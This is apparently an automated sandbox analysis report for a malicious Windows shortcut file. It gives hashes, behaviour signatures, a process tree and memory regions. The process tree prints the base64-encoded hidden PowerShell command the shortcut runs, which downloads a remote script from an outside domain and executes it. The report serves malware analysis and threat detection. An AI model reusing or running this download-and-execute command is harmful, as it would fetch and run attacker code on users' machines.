Resubmissions

06-04-2024 02:48

240406-dagadaaa78 10

05-04-2024 14:46

240405-r5m83afc49 8

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    05-04-2024 14:46

General

  • Target

    DOC1718 - 17181718.lnk

  • Size

    9KB

  • MD5

    b2f8f92b1a74fcbe95a7a9cd50994785

  • SHA1

    a124648dddeaaef25245643f98df6c50ec693b94

  • SHA256

    ba41a32b699a07b7a0d7871839ef0c86a9eae01a3277c151a24d288919832fff

  • SHA512

    1107e818462ad8f8f9a13f052df590c6a964a6d79aa33fc0fb91eda9ab1b05eaca64bab604834d092d57f232a188b94403125569dee9f0cdb61983a6b7c3f7e6

  • SSDEEP

    192:8z5P5hm3MSBf2TL52FWGkOlRKAaqPVpVIZhVjjpOW234jXAc0y:u53cMS5ZFbkO3KYyftoy

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC1718 - 17181718.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2596

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2596-38-0x000000001B4B0000-0x000000001B792000-memory.dmp

    Filesize

    2.9MB

  • memory/2596-39-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/2596-40-0x0000000002C50000-0x0000000002CD0000-memory.dmp

    Filesize

    512KB

  • memory/2596-42-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB

  • memory/2596-43-0x0000000002C50000-0x0000000002CD0000-memory.dmp

    Filesize

    512KB

  • memory/2596-44-0x0000000002C50000-0x0000000002CD0000-memory.dmp

    Filesize

    512KB

  • memory/2596-41-0x0000000001E60000-0x0000000001E68000-memory.dmp

    Filesize

    32KB

  • memory/2596-45-0x0000000002C50000-0x0000000002CD0000-memory.dmp

    Filesize

    512KB

  • memory/2596-46-0x000007FEF57F0000-0x000007FEF618D000-memory.dmp

    Filesize

    9.6MB